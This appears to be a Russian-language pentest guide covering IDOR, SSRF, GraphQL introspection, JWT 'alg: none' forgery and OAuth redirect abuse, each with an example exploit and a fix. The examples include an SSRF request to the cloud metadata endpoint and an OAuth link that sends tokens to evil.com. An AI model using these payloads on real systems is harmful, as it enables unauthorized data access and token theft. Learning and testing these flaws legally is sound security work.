Если ты качаешь в веб-безопасности или просто хочешь научиться находить дыры в сайтах этот гайд для тебя. Разберём актуальные уязвимости 2025 года, методы их поиска и эксплуатации, а также как защититься от таких атак.

🔥 Топ-5 уязвимостей, которые всё ещё работают (и приносят бабло)

1. Insecure Direct Object References (IDOR)

Что это: Доступ к чужим данным через подмену ID в запросе (например, ?user_id=123 → ?user_id=124).
Где искать: API, мобильные приложения, личные кабинеты.
Эксплуатация:

GET /api/v1/profile?user_id=1337 HTTP/1.1  
Host: target.com  
Authorization: Bearer <токен_жертвы>  

Защита: Валидация прав доступа на сервере.

2. Server-Side Request Forgery (SSRF)

Что это: Заставить сервер делать запросы во внутреннюю сеть (например, к AWS Metadata API).
Где искать: Функции импорта URL, webhooks, PDF-генераторы.
Эксплуатация:

POST /generate-pdf HTTP/1.1  
Host: target.com  
Content-Type: application/json  

{"url": "http://169.254.169.254/latest/meta-data/"}  

Защита: Блокировка внутренних IP, использование allow-листов.

3. GraphQL Injection

Что это: Уязвимости в GraphQL-API (интроспекция, DOS через глубокие вложенные запросы).
Где искать: Современные SPA, мобильные приложения.
Эксплуатация:

query {  
  __schema {  
    types { name }  
  }  
}  

Защита: Отключение интроспекции в продакшене, лимит глубины запросов.

4. JWT Misconfiguration

Что это: Подделка токенов из-за слабого алгоритма (например, "alg": "none").
Где искать: Веб-приложения с авторизацией.
Эксплуатация:

1. Меняем HS256 на none в заголовке.

2. Удаляем подпись.

3. Profit.
   Защита: Использовать только RS256, проверять алгоритм на сервере.

5. OAuth Misconfiguration

Что это: Кража токенов через открытые редиректы или поддельные callback-URL.
Где искать: Вход через Google/Facebook/GitHub.
Эксплуатация:

https://oauth.target.com/auth?response_type=token&redirect_uri= https://evil.com/callback   

Защита: Фиксированный allow-list для redirect_uri.

🔧 Инструменты для автоматического поиска

• Burp Suite (ручной аудит)

• OWASP ZAP (автосканер)

• GraphQLmap (для GraphQL-инъекций)

• JWT_Tool (для взлома JWT)

• SSRF Sheriff (поиск SSRF)

💡 Советы по пентесту

✅ Всегда проверяй новые API — там часто забывают про безопасность.
✅ Ищи неочевидные параметры (например, ?debug=true).
✅ Тестируй мобильные приложения — их API часто уязвимы.
✅ Используй автоматизацию, но не доверяй ей слепо — ручной анализ важнее.

⚠️ Legal Disclaimer

Этот гайд только для образовательных целей и легального тестирования. Взлом без разрешения уголовное преступление.